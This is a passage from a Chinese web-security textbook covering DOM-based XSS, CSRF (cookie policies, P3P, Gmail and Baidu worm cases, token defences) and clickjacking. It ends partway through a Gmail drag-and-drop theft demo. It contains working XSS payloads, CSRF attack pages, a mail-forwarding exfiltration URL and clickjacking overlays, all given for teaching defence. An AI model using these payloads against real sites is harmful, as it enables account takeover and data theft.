href='\"+str+\"' >testLink</a>\";将HTML代码写入了DOM节点，最后导致了XSS的发生。事实上，DOM Based XSS是从JavaScript中输出数据到HTML页面里。而前文提到的方法都是针对“从服务器应用直接输出到HTML页面”的XSS漏洞，因此并不适用于DOM Based XSS。看看下面这个例子：<script>var x=\"$var\";document.write(\"<a href='\"+x+\"' >test</a>\");</script>变量“$var”输出在<script>标签内，可是最后又被document.write输出到HTML页面中。假设为了保护“$var”直接在<script>标签内产生XSS，服务器端对其进行了javascriptEscape。可是，$var在document.write时，仍然能够产生XSS，如下所示：<script>var x=\"\\x20\\x27onclick\\x3dalert\\x281\\x29\\x3b\\x2f\\x2f\\x27\";document.write(\"<a href='\"+x+\"' >test</a>\");</script>页面渲染之后的实际结果如下：页面渲染后的HTML代码效果XSS攻击成功：执行恶意代码其原因在于，第一次执行javascriptEscape后，只保护了：var x = \"$var\";但是当document.write输出数据到HTML页面时，浏览器重新渲染了页面。在<script>标签执行时，已经对变量x进行了解码，其后docu-ment.write再运行时，其参数就变成了：<a href=' 'onclick=alert(1);//'' >test</a>XSS因此而产生。那是不是因为对“$var”用错了编码函数呢？如果改成HtmlEncode会怎么样？继续看下面这个例子：<script>var x=\"1");alert(2);//"\";document.write(\"<a href=# onclick='alert(\\\"\"+x+\"\\\")' >test</a>\");</script>服务器把变量HtmlEncode后再输出到<script>中，然后变量x作为onclick事件的一个函数参数被document.write到了HTML页面里。页面渲染后的HTML代码效果onclick事件执行了两次“alert”，第二次是被XSS注入的。执行恶意代码那么正确的防御方法是什么呢？首先，在“$var”输出到<script>时，应该执行一次javascriptEncode；其次，在docu-ment.write输出到HTML页面时，要分具体情况看待：如果是输出到事件或者脚本，则要再做一次javascriptEncode；如果是输出到HTML内容或者属性，则要做一次HtmlEncode。也就是说，从JavaScript输出到HTML页面，也相当于一次XSS输出的过程，需要分语境使用不同的编码函数。DOM based XSS的防御会触发DOM Based XSS的地方有很多，以下几个地方是JavaScript输出到HTML页面的必经之路。 document.write()document.writeln()xxx.innerHTML=xxx.outerHTML=innerHTML.replacedocument.attachEvent()window.attachEvent()document.location.replace()document.location.assign()……需要重点关注这几个地方的参数是否可以被用户控制。除了服务器端直接输出变量到JavaScript外，还有以下几个地方可能会成为DOM Based XSS的输入点，也需要重点关注。 页面中所有的inputs框window.location(href、hash等)window.name ?document.referrerdocument.cookie ?localstorageXMLHttpRequest返回的数据……安全研究者Stefano Di Paola设立了一个DOM Based XSS的cheatsheet，有兴趣深入研究的读者可以参考。\n3.3.7 换个角度看XSS的风险前文谈到的所有XSS攻击，都是从漏洞形成的原理上看的。如果从业务风险的角度来看，则会有不同的观点。一般来说，存储型XSS的风险会高于反射型XSS。因为存储型XSS会保存在服务器上，有可能会跨页面存在。它不改变页面URL的原有结构，因此有时候还能逃过一些IDS的检测。比如IE 8的XSS Filter和Firefox的Noscript Extension，都会检查地址栏中的地址是否包含XSS脚本。而跨页面的存储型XSS可能会绕过这些检测工具。从攻击过程来说，反射型XSS，一般要求攻击者诱使用户点击一个包含XSS代码的URL链接；而存储型XSS，则只需要让用户查看一个正常的URL链接。比如一个Web邮箱的邮件正文页面存在一个存储型的XSS漏洞，当用户打开一封新邮件时，XSS Payload会被执行。这样的漏洞极其隐蔽，且埋伏在用户的正常业务中，风险颇高。从风险的角度看，用户之间有互动的页面，是可能发起XSS Worm攻击的地方。而根据不同页面的PageView高低，也可以分析出哪些页面受XSS攻击后的影响会更大。比如在网站首页发生的XSS攻击，肯定比网站合作伙伴页面的XSS攻击要严重得多。在修补XSS漏洞时遇到的最大挑战之一是漏洞数量太多，因此开发者可能来不及，也不愿意修补这些漏洞。从业务风险的角度来重新定位每个XSS漏洞，就具有了重要的意义。\n3.4 小结本章讲述了XSS攻击的原理，并从开发者的角度阐述了如何防御XSS。理论上，XSS漏洞虽然复杂，但却是可以彻底解决的。在设计XSS解决方案时，应该深入理解XSS攻击的原理，针对不同的场景使用不同的方法。同时有很多开源项目为我们提供了参考。\n第4章 跨站点请求伪造（CSRF）CSRF的全名是Cross Site RequestForgery，翻译成中文就是跨站点请求伪造。它是一种常见的Web攻击，但很多开发者对它很陌生。CSRF也是Web安全中最容易被忽略的一种攻击方式，甚至很多安全工程师都不太理解它的利用条件与危害，因此不予重视。但CSRF在某些时候却能够产生强大的破坏性。\n4.1 CSRF简介什么是CSRF呢？我们先看一个例子。还记得在“跨站脚本攻击”一章中，介绍XSSPayload时的那个“删除搜狐博客”的例子吗？登录Sohu博客后，只需要请求这个URL，就能够把编号为“156713012”的博客文章删除。http://blog.sohu.com/manage/entry.do?m=delete&id=156713012这个URL同时还存在CSRF漏洞。我们将尝试利用CSRF漏洞，删除编号为“156714243”的博客文章。这篇文章的标题是“test1”。搜狐博客个人管理界面攻击者首先在自己的域构造一个页面：http://www.a.com/csrf.html其内容为：<img src=\"http://blog.sohu.com/manage/entry.do?m=delete&id=156714243\" />使用了一个<img>标签，其地址指向了删除博客文章的链接。攻击者诱使目标用户，也就是博客主“test1test”访问这个页面：执行CSRF攻击该用户看到了一张无法显示的图片，再回过头看看搜狐博客：文章被删除发现原来存在的标题为“test1”的博客文章，已经被删除了！原来刚才访问http://www.a.com/csrf.html时，图片标签向搜狐的服务器发送了一次GET请求：CSRF请求而这次请求，导致了搜狐博客上的一篇文章被删除。回顾整个攻击过程，攻击者仅仅诱使用户访问了一个页面，就以该用户身份在第三方站点里执行了一次操作。试想：如果这张图片是展示在某个论坛、某个博客，甚至搜狐的一些用户空间中，会产生什么效果呢？只需要经过精心的设计，就能够起到更大的破坏作用。这个删除博客文章的请求，是攻击者所伪造的，所以这种攻击就叫做“跨站点请求伪造”。\n4.2 CSRF进阶4.2.1 浏览器的Cookie策略在上节提到的例子里，攻击者伪造的请求之所以能够被搜狐服务器验证通过，是因为用户的浏览器成功发送了Cookie的缘故。浏览器所持有的Cookie分为两种：一种是“Session Cookie”，又称“临时Cookie”；另一种是“Third-party Cookie”，也称为“本地Cookie”。两者的区别在于，Third-party Cookie是服务器在Set-Cookie时指定了Expire时间，只有到了Expire时间后Cookie才会失效，所以这种Cookie会保存在本地；而Session Cookie则没有指定Ex-pire时间，所以浏览器关闭后，Session Cookie就失效了。在浏览网站的过程中，若是一个网站设置了Session Cookie，那么在浏览器进程的生命周期内，即使浏览器新打开了Tab页，Session Cookie也都是有效的。Session Cookie保存在浏览器进程的内存空间中；而Third-party Cookie则保存在本地。如果浏览器从一个域的页面中，要加载另一个域的资源，由于安全原因，某些浏览器会阻止Third-party Cookie的发送。下面这个例子，演示了这一过程。在http://www.a.com/cookie.php中，会给浏览器写入两个Cookie：一个为Session Cookie，另一个为Third-party Cookie。<?phpheader(\"Set-Cookie: cookie1=123;\");header(\"Set-Cookie: cookie2=456;expires=Thu, 01-Jan-2030 00:00:01 GMT;\", false);?>访问这个页面，发现浏览器同时接收了这两个Cookie。浏览器接收Cookie这时再打开一个新的浏览器Tab页，访问同一个域中的不同页面。因为新Tab页在同一个浏览器进程中，因此Session Cookie将被发送。Session Cookie被发送此时在另外一个域中，有一个页面http://www.b.com/csrf-test.html，此页面构造了CSRF以访问www.a.com。<iframe src=\"http://www.a.com\" ></iframe>这时却会发现，只能发送出Session Cookie，而Third-party Cookie被禁止了。只发送了Session Cookie这是因为IE出于安全考虑，默认禁止了浏览器在<img>、<iframe>、<script>、<link>等标签中发送第三方Cookie。再回过头来看看Firefox的行为。在Firefox中，默认策略是允许发送第三方Cookie的。在Firefox中允许发送第三方Cookie由此可见，在本章一开始所举的CSRF攻击案例中，因为用户的浏览器是Firefox，所以能够成功发送用于认证的Third-party Cookie，最终导致CSRF攻击成功。而对于IE浏览器，攻击者则需要精心构造攻击环境，比如诱使用户在当前浏览器中先访问目标站点，使得Session Cookie有效，再实施CSRF攻击。在当前的主流浏览器中，默认会拦截Third-party Cookie的有：IE 6、IE 7、IE 8、Safari；不会拦截的有：Firefox 2、Firefox 3、Opera、GoogleChrome、Android等。但若CSRF攻击的目标并不需要使用Cookie，则也不必顾虑浏览器的Cookie策略了。4.2.2 P3P头的副作用尽管有些CSRF攻击实施起来不需要认证，不需要发送Cookie，但是不可否认的是，大部分敏感或重要的操作是躲藏在认证之后的。因此浏览器拦截第三方Cookie的发送，在某种程度上来说降低了CSRF攻击的威力。可是这一情况在“P3P头”介入后变得复杂起来。P3P Header是W3C制定的一项关于隐私的标准，全称是The Platform for Privacy Prefer-ences。如果网站返回给浏览器的HTTP头中包含有P3P头，则在某种程度上来说，将允许浏览器发送第三方Cookie。在IE下即使是<iframe>、<script>等标签也将不再拦截第三方Cookie的发送。在网站的业务中，P3P头主要用于类似广告等需要跨域访问的页面。但是很遗憾的是，P3P头设置后，对于Cookie的影响将扩大到整个域中的所有页面，因为Cookie是以域和path为单位的，这并不符合“最小权限”原则。假设有www.a.com与www.b.com两个域，在www.b.com上有一个页面，其中包含一个指向www.a.com的iframe。http://www.b.com/test.html的内容为：<iframe width=300 height=300 src=\"http://www.a.com/test.php\" ></iframe>http://www.a.com/test.php是一个对 a.com域设置Cookie的页面，其内容为：<?phpheader(\"Set-Cookie: test=axis; domain=.a.com; path=/\");?>当请求http://www.b.com/test.html时，它的iframe会告诉浏览器去跨域请求 www.a.com/test.php。test.php会尝试Set-Cookie，所以浏览器会收到一个Cookie。如果Set-Cookie成功，再次请求该页面，浏览器应该会发送刚才收到的Cookie。可是由于跨域限制，在a.com上Set-Cookie是不会成功的，所以无法发送刚才收到的Cookie。 这里无论是临时Cookie还是本地Cookie都一样。测试环境请求过程可以看到，第二次发包，只是再次接收到了Cookie，上次Set-Cookie的值并不曾发送，说明没有Set-Cookie成功。但是这种情况在加入了P3P头后会有所改变，P3P头允许跨域访问隐私数据，从而可以跨域Set-Cookie成功。修改www.a.com/test.php如下：<?phpheader(\"P3P: CP=CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOIDSP COR\");header(\"Set-Cookie: test=axis; expires=Sun, 23-Dec-2018 08:13:02 GMT; domain=.a.com;path=/\");?>再次重复上面的测试过程：测试环境请求过程可以看到，第二个包成功发送出之前收到的Cookie。P3P头的介入改变了a.com的隐私策略，从而使得<iframe>、<script>等标签在IE中不再拦截第三方Cookie的发送。P3P头只需要由网站设置一次即可，之后每次请求都会遵循此策略，而不需要再重复设置。P3P的策略看起来似乎很难懂，但其实语法很简单，都是一一对应的关系，可以查询W3C标准。比如：CP是Compact Policy的简写；CURa中 CUR是<current/>的简写；a是always的简写。如下表：[57] compact-purpose = \"CUR\" | ; for <current/> \"ADM\" [creq] | ; for <admin/> \"DEV\" [creq] | ; for <develop/> \"TAI\" [creq] | ; for <tailoring/> \"PSA\" [creq] | ; for <pseudo-analysis/> \"PSD\" [creq] | ; for <pseudo-decision/> \"IVA\" [creq] | ; for <individual-analysis/> \"IVD\" [creq] | ; for <individual-decision/> \"CON\" [creq] | ; for <contact/> \"HIS\" [creq] | ; for <historical/> \"TEL\" [creq] | ; for <telemarketing/> \"OTP\" [creq] ; for <other-purpose/>[58] creq = \"a\"| ;\"always\" \"i\"| ;\"opt-in\" \"o\" ;\"opt-out\"此外，P3P头也可以直接引用一个XML 策略文件：HTTP/1.1 200 OKP3P: policyref=\"http://catalog.example.com/P3P/PolicyReferences.xml\"Content-Type: text/htmlContent-Length: 7413Server: CC-Galaxy/1.3.18若想了解更多的关于P3P头的信息，可以参考W3C标准。正因为P3P头目前在网站的应用中被广泛应用，因此在CSRF的防御中不能依赖于浏览器对第三方Cookie的拦截策略，不能心存侥幸。很多时候，如果测试CSRF时发现<iframe>等标签在IE中居然能发送Cookie，而又找不到原因，那么很可能就是因为P3P头在作怪。4.2.3 GET? POST?在CSRF攻击流行之初，曾经有一种错误的观点，认为CSRF攻击只能由GET请求发起。因此很多开发者都认为只要把重要的操作改成只允许POST请求，就能防止CSRF攻击。这种错误的观点形成的原因主要在于，大多数CSRF攻击发起时，使用的HTML标签都是<img>、<iframe>、<script>等带“src”属性的标签，这类标签只能够发起一次GET请求，而不能发起POST请求。而对于很多网站的应用来说，一些重要操作并未严格地区分GET与POST，攻击者可以使用GET来请求表单的提交地址。比如在PHP中，如果使用的是$_REQUEST，而非$_POST获取变量，则会存在这个问题。对于一个表单来说，用户往往也就可以使用GET方式提交参数。比如以下表单：<form action=\"/register\" id=\"register\" method=\"post\" ><input type=text name=\"username\" value=\"\" /><input type=password name=\"password\" value=\"\" /><input type=submit name=\"submit\" value=\"submit\" /></form>用户可以尝试构造一个GET请求：http://host/register?username=test&password=passwd来提交，若服务器端未对请求方法进行限制，则这个请求会通过。如果服务器端已经区分了GET与POST，那么攻击者有什么方法呢？对于攻击者来说，有若干种方法可以构造出一个POST请求。最简单的方法，就是在一个页面中构造好一个form表单，然后使用JavaScript自动提交这个表单。比如，攻击者在www.b.com/test.html中编写如下代码：<form action=\"http://www.a.com/register\" id=\"register\" method=\"post\" ><input type=text name=\"username\" value=\"\" /><input type=password name=\"password\" value=\"\" /><input type=submit name=\"submit\" value=\"submit\" /></form><script>var f = document.getElementById(\"register\");f.inputs[0].value = \"test\";f.inputs[1].value = \"passwd\";f.submit();</script>攻击者甚至可以将这个页面隐藏在一个不可见的iframe窗口中，那么整个自动提交表单的过程，对于用户来说也是不可见的。在2007年的Gmail CSRF漏洞攻击过程中，安全研究者pdp展示了这一技巧。首先，用户需要登录Gmail账户，以便让浏览器获得Gmail的临时Cookie。用户登录Gmail然后，攻击者诱使用户访问一个恶意页面。攻击者诱使用户访问恶意页面在这个恶意页面中，隐藏了一个iframe，iframe的地址指向pdp写的CSRF构造页面。http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multipart/form-data&_action=https%3A//mail.google.com/mail/h/ewt1jmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf2_email=evilinbox@mailinator.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_attach=true&tfi&s=z&irf=on&nvp_bu_cftb=Create%20Filter这个链接的实际作用就是把参数生成一个POST的表单，并自动提交。由于浏览器中已经存在Gmail的临时Cookie，所以用户在iframe中对Gmail发起的这次请求会成功——邮箱的Filter中会新创建一条规则，将所有带附件的邮件都转发到攻击者的邮箱中。恶意站点通过CSRF在用户的Gmail中建立一条规则Google在不久后即修补了这个漏洞。4.2.4 Flash CSRFFlash也有多种方式能够发起网络请求，包括POST。比如下面这段代码：import flash.net.URLRequest;import flash.system.Security;var url = new URLRequest(\"http://target/page\");var param = new URLVariables();param = \"test=123\";url.method = \"POST\";url.data = param;sendToURL(url);stop();除了URLRequest外，在Flash中还可以使用getURL，loadVars等方式发起请求。比如：req = new LoadVars();req.addRequestHeader(\"foo\", \"bar\");req.send(\"http://target/page?v1=123&v2=456\", \"_blank\", \"GET\");在IE 6、IE 7中，Flash发送的网络请求均可以带上本地Cookie；但是从IE 8起，Flash发起的网络请求已经不再发送本地Cookie了。4.2.5 CSRF Worm2008年9月，国内的安全组织80sec公布了一个百度的CSRF Worm。漏洞出现在百度用户中心的发送短消息功能中：http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=用户账户&co=消息内容只需要修改参数sn，即可对指定的用户发送短消息。而百度的另外一个接口则能查询出某个用户的所有好友：http://frd.baidu.com/?ct=28&un=用户账户&cm=FriList&tn=bmABCFriList&callback=gotfriends将两者结合起来，可以组成一个CSRF Worm——让一个百度用户查看恶意页面后，将给他的所有好友发送一条短消息，然后这条短消息中又包含一张图片，其地址再次指向CSRF页面，使得这些好友再次将消息发给他们的好友，这个Worm因此得以传播。Step 1：模拟服务器端取得request的参数。var lsURL=window.location.href;loU = lsURL.split(\"?\");if (loU.length>1){var loallPm = loU[1].split(\"&\");……定义蠕虫页面服务器地址，取得?和&符号后的字符串，从URL中提取感染蠕虫的用户名和感染者的好友用户名。Step 2：好友json数据的动态获取。var gotfriends = function (x)vilmsg]\"for(i=0;i<friends.length;i++){……mysendmsg=mysendmsg+\"&\"+i;eval('x'+i+'=new Image();x'+i+'.src=unescape(\"\"+mysendmsg+'\");');……将感染者的用户名和需要传播的好友用户名放到蠕虫链接内，然后输出短消息。这个蠕虫很好地展示了CSRF的破坏性——即使没有XSS漏洞，仅仅依靠CSRF，也是能够发起大规模蠕虫攻击的。\n4.3 CSRF的防御CSRF攻击是一种比较奇特的攻击，下面看看有什么方法可以防御这种攻击。4.3.1 验证码验证码被认为是对抗CSRF攻击最简洁而有效的防御方法。CSRF攻击的过程，往往是在用户不知情的情况下构造了网络请求。而验证码，则强制用户必须与应用进行交互，才能完成最终请求。因此在通常情况下，验证码能够很好地遏制CSRF攻击。但是验证码并非万能。很多时候，出于用户体验考虑，网站不能给所有的操作都加上验证码。因此，验证码只能作为防御CSRF的一种辅助手段，而不能作为最主要的解决方案。4.3.2 Referer CheckReferer Check在互联网中最常见的应用就是“防止图片盗链”。同理，Referer Check也可以被用于检查请求是否来自合法的“源”。常见的互联网应用，页面与页面之间都具有一定的逻辑关系，这就使得每个正常请求的Referer具有一定的规律。比如一个“论坛发帖”的操作，在正常情况下需要先登录到用户后台，或者访问有发帖功能的页面。在提交“发帖”的表单时，Referer的值必然是发帖表单所在的页面。如果Referer的值不是这个页面，甚至不是发帖网站的域，则极有可能是CSRF攻击。即使我们能够通过检查Referer是否合法来判断用户是否被CSRF攻击，也仅仅是满足了防御的充分条件。Referer Check的缺陷在于，服务器并非什么时候都能取到Referer。很多用户出于隐私保护的考虑，限制了Referer的发送。在某些情况下，浏览器也不会发送Referer，比如从HTTPS跳转到HTTP，出于安全的考虑，浏览器也不会发送Ref-erer。在Flash的一些版本中，曾经可以发送自定义的Referer头。虽然Flash在新版本中已经加强了安全限制，不再允许发送自定义的Referer头，但是难免不会有别的客户端插件允许这种操作。出于以上种种原因，我们还是无法依赖于Ref-erer Check作为防御CSRF的主要手段。但是通过Referer Check来监控CSRF攻击的发生，倒是一种可行的方法。4.3.3 Anti CSRF Token现在业界针对CSRF的防御，一致的做法是使用一个Token。在介绍此方法前，先了解一下CSRF的本质。4.3.3.1 CSRF的本质CSRF为什么能够攻击成功？其本质原因是重要操作的所有参数都是可以被攻击者猜测到的。攻击者只有预测出URL的所有参数与参数值，才能成功地构造一个伪造的请求；反之，攻击者将无法攻击成功。出于这个原因，可以想到一个解决方案：把参数加密，或者使用一些随机数，从而让攻击者无法猜测到参数值。这是“不可预测性原则”的一种应用（参考“我的安全世界观”一章）。比如，一个删除操作的URL是：http://host/path/delete?username=abc&item=123把其中的username参数改成哈希值：http://host/path/delete?username=md5(salt+abc)&item=123这样，在攻击者不知道salt的情况下，是无法构造出这个URL的，因此也就无从发起CSRF攻击了。而对于服务器来说，则可以从Session或Cookie中取得“username=abc”的值，再结合salt对整个请求进行验证，正常请求会被认为是合法的。但是这个方法也存在一些问题。首先，加密或混淆后的URL将变得非常难读，对用户非常不友好。其次，如果加密的参数每次都改变，则某些URL将无法再被用户收藏。最后，普通的参数如果也被加密或哈希，将会给数据分析工作带来很大的困扰，因为数据分析工作常常需要用到参数的明文。因此，我们需要一个更加通用的解决方案来帮助解决这个问题。这个方案就是使用Anti CSRFToken。回到上面的URL中，保持原参数不变，新增一个参数Token。这个Token的值是随机的，不可预测：http://host/path/delete?username=abc&item=123&token=[random(seed)]Token需要足够随机，必须使用足够安全的随机数生成算法，或者采用真随机数生成器（物理随机，请参考“加密算法与随机数”一章）。Token应该作为一个“秘密”，为用户与服务器所共同持有，不能被第三者知晓。在实际应用时，Token可以放在用户的Session中，或者浏览器的Cookie中。由于Token的存在，攻击者无法再构造出一个完整的URL实施CSRF攻击。Token需要同时放在表单和Session中。在提交请求时，服务器只需验证表单中的Token，与用户Session（或Cookie）中的Token是否一致，如果一致，则认为是合法请求；如果不一致，或者有一个为空，则认为请求不合法，可能发生了CSRF攻击。如下这个表单中，Token作为一个隐藏的in-put字段，放在form中：隐藏字段中的Token同时Cookie中也包含了一个Token：Cookie中的Token4.3.3.2 Token的使用原则Anti CSRF Token在使用时，有若干注意事项。防御CSRF的Token，是根据“不可预测性原则”设计的方案，所以Token的生成一定要足够随机，需要使用安全的随机数生成器生成Token。此外，这个Token的目的不是为了防止重复提交。所以为了使用方便，可以允许在一个用户的有效生命周期内，在Token消耗掉前都使用同一个Token。但是如果用户已经提交了表单，则这个To-ken已经消耗掉，应该再次重新生成一个新的To-ken。如果Token保存在Cookie中，而不是服务器端的Session中，则会带来一个新的问题。如果一个用户打开几个相同的页面同时操作，当某个页面消耗掉Token后，其他页面的表单内保存的还是被消耗掉的那个Token，因此其他页面的表单再次提交时，会出现Token错误。在这种情况下，可以考虑生成多个有效的Token，以解决多页面共存的场景。最后，使用Token时应该注意Token的保密性。Token如果出现在某个页面的URL中，则可能会通过Referer的方式泄露。比如以下页面：http://host/path/manage?username=abc&token=[random]这个manage页面是一个用户面板，用户需要在这个页面提交表单或者单击“删除”按钮，才能完成删除操作。在这种场景下，如果这个页面包含了一张攻击者能指定地址的图片：<img src=\"http://evil.com/notexist\" />则“http://host/path/manage?user-name=abc&token=[random]”会作为HTTP请求的Referer发送到evil.com的服务器上，从而导致Token泄露。因此在使用Token时，应该尽量把Token放在表单中。把敏感操作由GET改为POST，以form表单（或者AJAX）的形式提交，可以避免Token泄露。此外，还有一些其他的途径可能导致Token泄露。比如XSS漏洞或者一些跨域漏洞，都可能让攻击者窃取到Token的值。CSRF的Token仅仅用于对抗CSRF攻击，当网站还同时存在XSS漏洞时，这个方案就会变得无效，因为XSS可以模拟客户端浏览器执行任意操作。在XSS攻击下，攻击者完全可以请求页面后，读出页面内容里的Token值，然后再构造出一个合法的请求。这个过程可以称之为XSRF，和CSRF以示区分。XSS带来的问题，应该使用XSS的防御方案予以解决，否则CSRF的Token防御就是空中楼阁。安全防御的体系是相辅相成、缺一不可的。\n4.4 小结本章介绍了Web安全中的一个重要威胁：CSRF攻击。CSRF攻击也能够造成严重的后果，不能忽略或轻视这种攻击方式。CSRF攻击是攻击者利用用户的身份操作用户账户的一种攻击方式。设计CSRF的防御方案必须先理解CSRF攻击的原理和本质。根据“不可预测性原则”，我们通常使用AntiCSRF Token来防御CSRF攻击。在使用Token时，要注意Token的保密性和随机性。\n第5章 点击劫持（ClickJacking）2008年，安全专家Robert Hansen与Jeremiah Grossman发现了一种被他们称为“ClickJacking”（点击劫持）的攻击，这种攻击方式影响了几乎所有的桌面平台，包括IE、Safari、Firefox、Opera以及Adobe Flash。两位发现者准备在当年的OWASP安全大会上公布并进行演示，但包括Adobe在内的所有厂商，都要求在漏洞修补前不要公开此问题。\n5.1 什么是点击劫持点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe，覆盖在一个网页上，然后诱使用户在该网页上进行操作，此时用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置，可以诱使用户恰好点击在iframe页面的一些功能性按钮上。点击劫持原理示意图看下面这个例子。在http://www.a.com/test.html页面中插入了一个指向目标网站的iframe，出于演示的目的，我们让这个iframe变成半透明：<!DOCTYPE html><html> <head> <title>CLICK JACK!!!</title> <style> iframe { width: 900px; height: 250px; /* Use absolute positioning to line up update button with fake button */ position: absolute; top: -195px; left: -740px; z-index: 2; /* Hide from view */ -moz-opacity: 0.5; opacity: 0.5; filter: alpha(opacity=0.5); } button { position: absolute; top: 10px; left: 10px; z-index: 1; width: 120px; } </style> </head> <body> <iframe src=\"http://www.qidian.com\" scrolling=\"no\"></iframe> <button>CLICK HERE!</button> </body></html>在这个test.html中有一个button，如果iframe完全透明时，那么用户看到的是：用户看到的按钮当iframe半透明时，可以看到，在button上面其实覆盖了另一个网页：实际的页面，按钮上隐藏了一个iframe窗口覆盖的网页其实是一个搜索按钮：隐藏的iframe窗口的内容当用户试图点击test.html里的button时，实际上却会点击到iframe页面中的搜索按钮。分析其代码，起到关键作用的是下面这几行：iframe { width: 900px; height: 250px; /* Use absolute positioning to line up update button with fake button */ position: absolute; top: -195px; left: -740px; z-index: 2; /* Hide from view */ -moz-opacity: 0.5; opacity: 0.5; filter: alpha(opacity=0.5);}通过控制iframe的长、宽，以及调整top、left的位置，可以把iframe页面内的任意部分覆盖到任何地方。同时设置iframe的position为absolute，并将z-index的值设置为最大，以达到让iframe处于页面的最上层。最后，再通过设置opacity来控制iframe页面的透明程度，值为0是完全不可见。这样，就完成了一次点击劫持的攻击。点击劫持攻击与CSRF攻击（详见“跨站点请求伪造”一章）有异曲同工之妙，都是在用户不知情的情况下诱使用户完成一些动作。但是在CSRF攻击的过程中，如果出现用户交互的页面，则攻击可能会无法顺利完成。与之相反的是，点击劫持没有这个顾虑，它利用的就是与用户产生交互的页面。twitter也曾经遭受过“点击劫持攻击”。安全研究者演示了一个在别人不知情的情况下发送一条twitter消息的POC，其代码与上例中类似，但是POC中的iframe地址指向了：<iframe scrolling=\"no\" src=\"http://twitter.com/home?status=Yes, I did click the button!!!(WHAT!!??)\"></iframe>在twitter的URL里通过status参数来控制要发送的内容。攻击者调整页面，使得Tweet按钮被点击劫持。当用户在测试页面点击一个可见的button时，实际上却在不经意间发送了一条微博。\n5.2 Flash点击劫持下面来看一个更为严重的ClickJacking攻击案例。攻击者通过Flash构造出了点击劫持，在完成一系列复杂的动作后，最终控制了用户电脑的摄像头。目前Adobe公司已经在Flash中修补了此漏洞。攻击过程如下：首先，攻击者制作了一个Flash游戏，并诱使用户来玩这个游戏。这个游戏就是让用户去点击“CLICK”按钮，每次点击后这个按钮的位置都会发生变化。演示点击劫持的Flash游戏在其上隐藏了一个看不见的iframe：Flash上隐藏的iframe窗口游戏中的某些点击是有意义的，某些点击是无效的。攻击通过诱导用户鼠标点击的位置，能够完成一些较为复杂的流程。某些点击是无意义的某些点击是无意义的最终通过这一步步的操作，打开了用户的摄像头。通过点击劫持打开了摄像头\n5.3 图片覆盖攻击点击劫持的本质是一种视觉欺骗。顺着这个思路，还有一些攻击方法也可以起到类似的作用，比如图片覆盖。一名叫sven.vetsch的安全研究者最先提出了这种Cross Site Image Overlaying攻击，简称XSIO。sven.vetsch通过调整图片的style使得图片能够覆盖在他所指定的任意位置。<a href=\"http://disenchant.ch\"><img src=http://disenchant.ch/powered.jpgstyle=position:absolute;right:320px;top:90px;/> </a>如下所示，覆盖前的页面是：覆盖前的页面覆盖后的页面变成：覆盖后的页面页面里的logo图片被覆盖了，并指向了sven.vetsch的网站。如果用户此时再去点击logo图片，则会被链接到sven.vetsch的网站。如果这是一个钓鱼网站的话，用户很可能会上当。XSIO不同于XSS，它利用的是图片的style，或者能够控制CSS。如果应用没有限制style的po-sition为absolute的话，图片就可以覆盖到页面上的任意位置，形成点击劫持。百度空间也曾经出现过这个问题，构造代码如下：</table><a href=\"http://www.ph4nt0m.org\"><img src=\"http://img.baidu.com/hi/img/portraitn.jpg\"style=\"position:absolute;left:123px;top:123px;\"></a>一张头像图片被覆盖到logo处：一张头像图片被覆盖到Logo处点击此图片的话，会被链接到其他网站。图片还可以伪装得像一个正常的链接、按钮；或者在图片中构造一些文字，覆盖在关键的位置，就有可能完全改变页面中想表达的意思，在这种情况下，不需要用户点击，也能达到欺骗的目的。比如，利用XSIO修改页面中的联系电话，可能会导致很多用户上当。由于<img>标签在很多系统中是对用户开放的，因此在现实中有非常多的站点存在被XSIO攻击的可能。在防御XSIO时，需要检查用户提交的HTML代码中，<img>标签的style属性是否可能导致浮出。\n5.4 拖拽劫持与数据窃取2010年，ClickJacking技术有了新的发展。一位名叫Paul Stone的安全研究者在BlackHat 2010大会上发表了题为“Next Generation Clickjack-ing”的演讲。在该演讲中，提出了“浏览器拖拽事件”导致的一些安全问题。目前很多浏览器都开始支持Drag & Drop 的API。对于用户来说，拖拽使他们的操作更加简单。浏览器中的拖拽对象可以是一个链接，也可以是一段文字，还可以从一个窗口拖拽到另外一个窗口，因此拖拽是不受同源策略限制的。“拖拽劫持”的思路是诱使用户从隐藏的不可见iframe中“拖拽”出攻击者希望得到的数据，然后放到攻击者能控制的另外一个页面中，从而窃取数据。在JavaScript或者Java API的支持下，这个攻击过程会变得非常隐蔽。因为它突破了传统Click-Jacking一些先天的局限，所以这种新型的“拖拽劫持”能够造成更大的破坏。国内的安全研究者xisigr曾经构造了一个针对Gmail的POC，其过程大致如下。首先，制作一个网页小游戏，要把小球拖拽到小海豹的头顶上。演示拖拽劫持的网页小游戏实际上，在小球和小海豹的头顶上都有隐藏的iframe。在这个例子中，xisigr使用event.dataTrans-fer.getData('Text')来获取“drag”到的数据。当用户拖拽小球时，实际上是选中了隐藏的iframe里的数据；在放下小球时，把数据也放在了隐藏的textarea中，从而完成一次数据窃取的过程。原理示意图这个例子的源代码如下：<html> <head> <title> Gmail Clickjacking with drag and drop Attack Demo </title> <style> .iframe_hidden{height: 50px; width: 50px; top:360px; left:365px; overflow:hidden; filter: alpha(opacity=0); opacity:.0; position: absolute; } .text_area_hidden{ height: 30px; width: 30px; top:160px; left:670px; overflow:hidden; filter: alpha(opacity=0); opacity:.0; position: absolute; } .ball{ top:350px; left:350px; position: absolute; } .ball_1{ top:136px; left:640px; filter: alpha(opacity=0); opacity:.0; position: absolute; }.Dolphin{ top:150px; left:600px; position: absolute; }.center{ margin-right: auto;margin-left: auto;vertical-align:middle;text-align:center; margin-top:350px;} </style> <script> function Init() { var source = document.getElementById(\"source\"); var target = document.getElementById(\"target\"); if (source.addEventListener) { target.addEventListener(\"drop\", DumpInfo, false); } else { target.attachEvent(\"ondrop\", DumpInfo); } } function DumpInfo(event) { showHide_ball.call(this); showHide_ball_1.call(this); var info = document.getElementById(\"info\");info.innerHTML += \"<span style='color:#3355cc;font-size:13px'>\" +event.dataTransfer.getData('Text') + \"</span><br> \"; } function showHide_frame() { var iframe_1 = document.getElementById(\"iframe_1\"); iframe_1.style.opacity = this.checked ? \"0.5\": 